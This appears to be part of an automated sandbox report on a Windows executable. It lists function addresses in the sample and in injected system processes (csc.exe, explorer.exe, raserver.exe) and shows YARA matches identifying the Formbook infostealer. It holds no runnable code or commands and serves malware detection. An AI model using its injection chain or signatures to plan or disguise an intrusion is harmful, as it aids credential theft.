Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DF280	0_2_00007FF72F5DF280
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F67E240	0_2_00007FF72F67E240
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5A8220	0_2_00007FF72F5A8220
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D52E0	0_2_00007FF72F5D52E0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D92CE	0_2_00007FF72F5D92CE
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DB180	0_2_00007FF72F5DB180
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C6190	0_2_00007FF72F5C6190
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C5200	0_2_00007FF72F5C5200
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5E1200	0_2_00007FF72F5E1200
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C8200	0_2_00007FF72F5C8200
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D91B0	0_2_00007FF72F5D91B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00401030	3_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041D8C4	3_2_0041D8C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041EB71	3_2_0041EB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00402D88	3_2_00402D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00402D90	3_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041DE5E	3_2_0041DE5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00409E60	3_2_00409E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00402FB0	3_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D275C6	3_2_05D275C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2F5C9	3_2_05D2F5C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3A526	3_2_05D3A526
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70445	3_2_05C70445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D26757	3_2_05D26757
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C72760	3_2_05C72760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7A760	3_2_05C7A760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2A6C0	3_2_05D2A6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE36EC	3_2_05CE36EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2F6F6	3_2_05D2F6F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6C6E0	3_2_05C6C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1D646	3_2_05D1D646
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C94670	3_2_05C94670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8C600	3_2_05C8C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0D62C	3_2_05D0D62C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C751C0	3_2_05C751C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CB717A	3_2_05CB717A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3010E	3_2_05D3010E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0D130	3_2_05D0D130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7B0D0	3_2_05C7B0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D270F1	3_2_05D270F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C600A0	3_2_05C600A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1E076	3_2_05D1E076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61380	3_2_05C61380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7E310	3_2_05C7E310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2F330	3_2_05D2F330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5D2EC	3_2_05C5D2EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2124C	3_2_05D2124C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C79DD0	3_2_05C79DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0FDF4	3_2_05D0FDF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82DB0	3_2_05C82DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D27D4C	3_2_05D27D4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70D69	3_2_05C70D69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6AD00	3_2_05C6AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2FD27	3_2_05D2FD27
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C88CDF	3_2_05C88CDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8FCE0	3_2_05C8FCE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3ACEB	3_2_05D3ACEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D09C98	3_2_05D09C98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1EC4C	3_2_05D1EC4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C73C60	3_2_05C73C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2EC60	3_2_05D2EC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D26C69	3_2_05D26C69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C60C12	3_2_05C60C12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7AC20	3_2_05C7AC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D21FC6	3_2_05D21FC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2EFBF	3_2_05D2EFBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2FF63	3_2_05D2FF63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7CF00	3_2_05C7CF00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D29ED2	3_2_05D29ED2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C62EE8	3_2_05C62EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C71EB2	3_2_05C71EB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D20EAD	3_2_05D20EAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C90E50	3_2_05C90E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D10E6D	3_2_05D10E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6E9A0	3_2_05C6E9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2E9A6	3_2_05D2E9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C728C0	3_2_05C728C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D218DA	3_2_05D218DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D278F3	3_2_05D278F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C86882	3_2_05C86882
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE98B2	3_2_05CE98B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2F872	3_2_05D2F872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C56868	3_2_05C56868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C79870	3_2_05C79870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B870	3_2_05C8B870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C73800	3_2_05C73800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D10835	3_2_05D10835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE4BC0	3_2_05CE4BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70B10	3_2_05C70B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2FB2E	3_2_05D2FB2E
Source: C:\Windows\explorer.exe	Code function: 4_2_0287D232	4_2_0287D232
Source: C:\Windows\explorer.exe	Code function: 4_2_02873082	4_2_02873082
Source: C:\Windows\explorer.exe	Code function: 4_2_0287C036	4_2_0287C036
Source: C:\Windows\explorer.exe	Code function: 4_2_028805CD	4_2_028805CD
Source: C:\Windows\explorer.exe	Code function: 4_2_02874D02	4_2_02874D02
Source: C:\Windows\explorer.exe	Code function: 4_2_0287A912	4_2_0287A912
Source: C:\Windows\explorer.exe	Code function: 4_2_02877B32	4_2_02877B32
Source: C:\Windows\explorer.exe	Code function: 4_2_02877B30	4_2_02877B30
Source: C:\Windows\explorer.exe	Code function: 4_2_13445B30	4_2_13445B30
Source: C:\Windows\explorer.exe	Code function: 4_2_13445B32	4_2_13445B32
Source: C:\Windows\explorer.exe	Code function: 4_2_1344B232	4_2_1344B232
Source: C:\Windows\explorer.exe	Code function: 4_2_13442D02	4_2_13442D02
Source: C:\Windows\explorer.exe	Code function: 4_2_13448912	4_2_13448912
Source: C:\Windows\explorer.exe	Code function: 4_2_1344E5CD	4_2_1344E5CD
Source: C:\Windows\explorer.exe	Code function: 4_2_1344A036	4_2_1344A036
Source: C:\Windows\explorer.exe	Code function: 4_2_13441082	4_2_13441082
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D15F64	5_2_00D15F64
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0506A526	5_2_0506A526
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA0445	5_2_04FA0445
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_050575C6	5_2_050575C6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505F5C9	5_2_0505F5C9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F9C6E0	5_2_04F9C6E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05056757	5_2_05056757
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA0680	5_2_04FA0680
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FC4670	5_2_04FC4670
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FBC600	5_2_04FBC600
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0503D62C	5_2_0503D62C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0504D646	5_2_0504D646
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA2760	5_2_04FA2760
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FAA760	5_2_04FAA760
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505A6C0	5_2_0505A6C0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_050136EC	5_2_050136EC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505F6F6	5_2_0505F6F6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0506010E	5_2_0506010E
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FAB0D0	5_2_04FAB0D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0503D130	5_2_0503D130
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F900A0	5_2_04F900A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FBB1E0	5_2_04FBB1E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA51C0	5_2_04FA51C0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0504E076	5_2_0504E076
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FE717A	5_2_04FE717A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F8F113	5_2_04F8F113
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_050570F1	5_2_050570F1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F8D2EC	5_2_04F8D2EC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505F330	5_2_0505F330
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F91380	5_2_04F91380
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FAE310	5_2_04FAE310
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FBFCE0	5_2_04FBFCE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505FD27	5_2_0505FD27
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FB8CDF	5_2_04FB8CDF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05057D4C	5_2_05057D4C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA3C60	5_2_04FA3C60
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FAAC20	5_2_04FAAC20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F90C12	5_2_04F90C12
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0503FDF4	5_2_0503FDF4
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA9DD0	5_2_04FA9DD0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0504EC4C	5_2_0504EC4C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FB2DB0	5_2_04FB2DB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505EC60	5_2_0505EC60
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05056C69	5_2_05056C69
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA0D69	5_2_04FA0D69
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05039C98	5_2_05039C98
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0506ACEB	5_2_0506ACEB
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F9AD00	5_2_04F9AD00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F92EE8	5_2_04F92EE8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA1EB2	5_2_04FA1EB2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505FF63	5_2_0505FF63
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FC0E50	5_2_04FC0E50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505EFBF	5_2_0505EFBF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05051FC6	5_2_05051FC6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05040E6D	5_2_05040E6D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05050EAD	5_2_05050EAD
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05059ED2	5_2_05059ED2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FACF00	5_2_04FACF00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA28C0	5_2_04FA28C0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FB6882	5_2_04FB6882
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA9870	5_2_04FA9870
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FBB870	5_2_04FBB870
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F86868	5_2_04F86868
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505E9A6	5_2_0505E9A6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA3800	5_2_04FA3800
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05040835	5_2_05040835
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F9E9A0	5_2_04F9E9A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505F872	5_2_0505F872
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_050198B2	5_2_050198B2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_050578F3	5_2_050578F3
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505FB2E	5_2_0505FB2E
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FBFAA0	5_2_04FBFAA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_05014BC0	5_2_05014BC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505CA13	5_2_0505CA13
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505EA5B	5_2_0505EA5B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_0505FA89	5_2_0505FA89
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FA0B10	5_2_04FA0B10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6EB71	5_2_00C6EB71
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C52D88	5_2_00C52D88
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C52D90	5_2_00C52D90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6DE5F	5_2_00C6DE5F
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C59E60	5_2_00C59E60
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C52FB0	5_2_00C52FB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052BA036	5_2_052BA036
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B2D02	5_2_052B2D02
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052BE5CD	5_2_052BE5CD
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B8912	5_2_052B8912
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B1082	5_2_052B1082
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B5B32	5_2_052B5B32
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B5B30	5_2_052B5B30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052BB232	5_2_052BB232

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: String function: 00007FF72F5AC1A0 appears 63 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 0500E692 appears 84 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 00D20FD2 appears 117 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04FD5050 appears 35 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04FE7BE4 appears 83 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 0501EF10 appears 99 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04F8B910 appears 251 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 05CEEF10 appears 102 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 05CB7BE4 appears 81 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 05C5B910 appears 242 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 05CDE692 appears 81 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 05CA5050 appears 35 times

Source: kHslwiV2w6.exe

Static PE information: invalid certificate

Source: kHslwiV2w6.exe	Binary or memory string: OriginalFilename vs kHslwiV2w6.exe
Source: kHslwiV2w6.exe, 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLeadingZeroCountAttribute.dllT vs kHslwiV2w6.exe
Source: kHslwiV2w6.exe, 00000000.00000002.6841441464.00007FF72F72F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLeadingZeroCountAttribute.dllT vs kHslwiV2w6.exe
Source: kHslwiV2w6.exe	Binary or memory string: OriginalFilenameLeadingZeroCountAttribute.dllT vs kHslwiV2w6.exe

Source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
